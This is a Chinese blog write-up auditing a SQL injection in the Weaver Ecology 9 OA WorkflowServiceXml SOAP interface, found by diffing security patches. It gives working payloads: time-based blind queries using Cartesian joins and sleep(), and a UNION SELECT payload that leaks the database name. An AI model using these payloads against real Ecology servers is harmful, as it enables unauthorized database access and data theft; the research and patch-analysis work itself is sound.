看了一下ecology的补丁,记录一下。
Ecology 9代审
搭建情况
resin+mysql进行搭建的,搭建在centos7系统上
安装基本按照它的安装手册来就没问题。注意下面几点
- mysql记得进入数据库将用户修改为任意host都可连接,不然泛微连不上。
- resin.sh(忘了是不是这个,如果不是看看startresin.sh)中写死了java的环境变量,需要自行修改或删除。
- 缺少了一个properties还是xml文件,需要从weaver的其他文件夹复制过来(起不来报错看一眼resin的报错日志就知道是哪个文件了)
- 安装时记得多打快照
远程debug配置
按照官方文档来,八九不离十。唯一不同的就是不用build artifact
搞完之后记得按照它的文档里配置一下项目依赖
需要注意,在project structure->Libraries里添加完后,还需要在project structure->Modules->Dependencies里勾选
代码审计资料
接口情况是/api/文件夹名/action名/路径,以/api/cowork/type/getCoworkTypeList
举例,在ecology\classbean\com\engine
的cowork文件夹下,进入web文件夹,找到coworktypeaction.class
。找到@path("/getCoworkTypeList")
即可看到函数。
还有部分webservice接口,如/services/ModeDateService
,该路径在ecology\classbean\weaver
,找到modedateservice
,然后找到webservices下的modedateserviceImpl,即可.
大部分后端接口:https://e-cloudstore.com/ec/api/applist/index.html#/
日志位置
/root/linux/Resin4/log/stderr.log
/root/linux/Resin4/log/stdout.log
/root/linux/ecology/WEB-INF/securitylog/
代码审计
本次代码审计以它在v10.64.1版本修复的SQL注入为例子,在进行代码审计之前,我需要解释一下什么是webservice、WSDL文档和SOAP。
webservice、WSDL文档和SOAP
1 | WebService是一种跨编程语言和跨操作系统平台的远程调用技术。Web Service也叫XML Web Service WebService是一种可以接收从Internet或者Intranet上的其它系统中传递过来的请求,轻量级的独立的通讯技术。是:通过SOAP在Web上提供的软件服务,使用WSDL文件进行说明,并通过UDDI进行注册。 |
常见的webservice服务存在一个类似于swagger的接口目录,称之为WSDL文档,包含了一系列web service定义,需要访问时则需要GET请求对应的webservice并带上wsdl参数。
![[./Pasted image 20240812222505.png]]
注意,请求带该参数时,POST请求时不会请求到该接口的,如果需要请求到该接口,则不能带wsdl参数。
以该接口为例
1 | <wsdl:definitions xmlns:soapenc11="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://webservices.workflow.weaver" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope" xmlns:wsdlsoap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soap11="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc12="http://www.w3.org/2003/05/soap-encoding" targetNamespace="http://webservices.workflow.weaver"> |
上面这段wsdl文档中包含了多个节点,主要关注两个,一个是没有参数的forward2WorkflowRequest
和getAllWorkflowRequestList
,它的参数有in0
、in1
、in2
、in3
、in4
。
还有一个概念,为SOAP协议
1 | Soap:(Simple Object Access Protocol)简单对象存取协议。是XML Web Service 的通信协议。 |
SOAP协议也使用http协议,所以也是可以利用bp等http抓包工具进行抓取和修改的,但请求接口参数等格式需要满足特定格式要求。
而按照上面的WSDL文档,如果需要请求getAllWorkflowRequestList
,需要按照SOAP协议编写XML如下:
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> |
参数的类型可以通过<xsd:element maxOccurs="1" minOccurs="1" name="in3" type="xsd:int"/>
的type看出。
经过简单了解,我们已经学会了如何使用SOAP协议调用webservice接口,接下来进行代码审计。
补丁分析及审计过程
在漏洞出现的第一时间泛微就会发布安全补丁和安全通告。此时只需要对比本次发布的补丁和上一次发布的补丁的区别即可发现该版本修复了哪些问题。
一般来说,只需要看ecology/WEB-INF/myclasses/weaver/security/
下的修改即可,而且泛微有一些有趣的地方那就是,如果当时的漏洞无法修复或无法完全修复,他们会直接利用path.contains来对该接口的访问进行拦截,甚至会把漏洞类型都写出来,所以,每次更新补丁,只需要对比和上次补丁的不同之处并查找path.contains即可。
对比如下:
![[img/Pasted image 20240812221559.png]]
显然,在10.64.1版本中,/services/workflowservicexml
新增了一处SQL注入的过滤。
那么打开源码,根据之前的路由规律进行分析,找到ecology\classbean\weaver\workflow\webservices\WorkflowServiceXml.class
位置,里面的就是webservice接口。而它的实现就在WorkflowServiceImplXml.class 找到该接口的实现文件后,可以发现这里的函数和参数对应的就是WSDL文档里的节点和传入的参数。例如上面例子的节点即为: ![[img/Pasted image 20240812225525.png]] 找到了SOAP的请求接口和对应的函数实现那就好办了。 SQL注入多半是拼接,且变量为字符串类型,接下来找就行了。 经过搜索,发现
getHendledWorkflowRequestList`函数的var5存在拼接
1 | String var6 = " select distinct "; |
再根据我的数据库和getPaginationSql
函数的内容,拼接起来就是
1 | SELECT DISTINCT t1.createdate, t1.createtime, t1.creater, t1.currentnodeid, t1.currentnodetype |
根据该SQL语句,可以知道,注入点在var5变量中。
(跟到后面我都笑了,后端是使用了预编译的,但前面这个拼接就很难让人绷得住)
![[img/Pasted image 20240815004807.png]]
到这里其实就是构造payload的时候了,但有一个问题,由于我搭建起来的数据库是空的,所以它不管有没有注入成功都无法通过返回内容进行判断,只能盲注。
搜索该语句中的数据库名称即可发现该数据库分别为workflow_requestbase工作流请求基本信息表和workflow_currentoperator工作流请求节点操作人信息表。也就是说如果需要有数据,要在工作流相关的内容中进行创建,如请假申请等,如果不插入数据的话会很容易被网传的POC误导。
网传POC的误区
误区1,无法覆盖所有数据库的站点
回到源码.
在SQL语句经过拼接之后它会进入到一个函数getPaginationSql
中
![[img/Pasted image 20240812225525.png]]
跟进该函数,发现对不同数据库,它的语句也是不一样的
![[img/Pasted image 20240814001104.png]]
分析代码可知,getPaginationSql
里的var8是固定为传入的var1的值,所以SQL语句也能根据这些值还原出来。
误区2,无法正确检测出没有数据的站点
在漏洞补丁包发布的当天其实就已经发现有POC了,但该POC的描述其实是有问题的,或者说该POC是有问题的。
以github上的POC为例:
1 | POST /services/WorkflowServiceXml |
https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA-E-Cology%E6%8E%A5%E5%8F%A3WorkflowServiceXml%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
该POC的在拼接上原始的SQL语句后如下:
1 | SELECT DISTINCT t1.createdate, t1.createtime, t1.creater, t1.currentnodeid, t1.currentnodetype |
看起来没什么问题,当数据库中存在数据时,就会把里面的数据全部显示出来,但如果数据库中没有数据呢?
在上面我们分析过了,该数据是工作流相关的内容,而且t2.usertype=0,也就是说该工作流的当前处理人是boss或者管理员级别的人物,这就很少了,加上其他杂七杂八的条件,符合条件的内容就更少了,所以有的网站利用该POC是没有办法检测出是否存在漏洞的。当初我就被这个POC坑的不轻,加上数据库中没有数据,本地复现无法通过,抓耳挠腮。
根据上面的两个误区就引出来了一个问题,泛微是支持很多数据库的(这个在安装手册里也有体现),需要一个语句是满足所有数据库都适用的,且需要是盲注语句或返回自己加入的数据,才能得到一个完美的,适用于所有网站的payload,那么有可能吗?
三种尝试
为了成功复现该漏洞,我进行了三种尝试
时间盲注(heavy query)
为了能够本地验证该漏洞,我开始直接尝试了最最有效的时间盲注。
当初的师傅说是可以直接用SQLMAP跑的,而且payload如下:
1 | 1=1 AND 6296=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) |
但由于该payload是mssql的语句,里面的数据库都是mssql的数据库名,所以mysql的sql语句需要进行修改。
当初修改的是
1 | 1=1 AND 5615=(SELECT COUNT(*) FROM workflow_currentoperator AS sys1,workflow_currentoperator AS sys2,workflow_currentoperator AS sys3,workflow_currentoperator AS sys4,workflow_currentoperator AS sys5,workflow_currentoperator AS sys6,workflow_currentoperator AS sys7) |
但我当时显然忘记了利用笛卡尔积时间盲注的原理,
对多个表做笛卡尔积连接,使之查询时间呈指数增长,而我修改的数据表中是没有数据的,查询时间很快,不论怎么叠加都是没有意义的
![[img/Pasted image 20240814224537.png]]
所以如果想要得到延时,需要查询的表是有数据的,而且数据量最好比较大,所以用mysql的information_schema.columns正好
1 | 1=1 AND 5615=(SELECT COUNT(*) FROM information_schema.columns AS col1,information_schema.columns AS col2,information_schema.columns AS col3,information_schema.columns AS col4,information_schema.columns AS col5,information_schema.columns AS col6,information_schema.columns AS col7) |
此时就刚好
而且我后续发现也可以直接sleep
1 | 1=1 AND (select sleep(100) from mysql.user) |
但由于不同数据库使用的延时语句不同,盲注脚本改起来也相当困难,所以我决定尝试换其他的payload
堆叠注入
这个其实是一个误会,和朋友讨论该漏洞的时候和其他漏洞讨论串了,当时也尝试了一些东西,就当记录学习过程了吧。
当初考虑的是想办法截断sql语句,来达到堆叠注入的效果,但由于存在过滤和语义分析之类的东西,所以一直没有过去。(后面代码对不上跟堆栈才发现在ecology/WEB-INF/myclasses/weaver/security/agentRules/rule/sqlCheck/SqlInjectionRule.class
,但这个文件在我的classbean是没有的,只有在安全补丁包里)
主要尝试了两个地方。
一个是\g
,能够替代截断符,作用为立即提交当前正在构建的 SQL 语句并执行
![[img/Pasted image 20240814234816.png]]
但使用时,泛微的语义解析是过不去的
![[img/Pasted image 20240814235140.png]]
![[img/Pasted image 20240814235335.png]]
再一个就是DELIMITER $$
![[img/Pasted image 20240814235730.png]]
该语句能够将截断符;
替换为$$
,但该语句是无法在查询语句中使用的,只能在当作单个语句使用
(再补充一个\c
,能够取消构建前面的语句,和分号后是一样的)
![[img/Pasted image 20240815000911.png]]
报错注入
显示出自己带入的字符,能够想到的当然是updatexml或concat。由于注入点并不在第一个select中,所以当然是利用联合查询注入,由于原查询语句的查表存在16列,所以需要一个contact和15个NULL。
![[img/Pasted image 20240815003740.png]]
payload构造
构造payload如下:
1 | 1=1 UNION SELECT CONCAT(0x616263,database(),0x646667),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# |
可以看到成功注入
![[img/Pasted image 20240813002920.png]]
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2024/08/15/ecology9代码审计/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!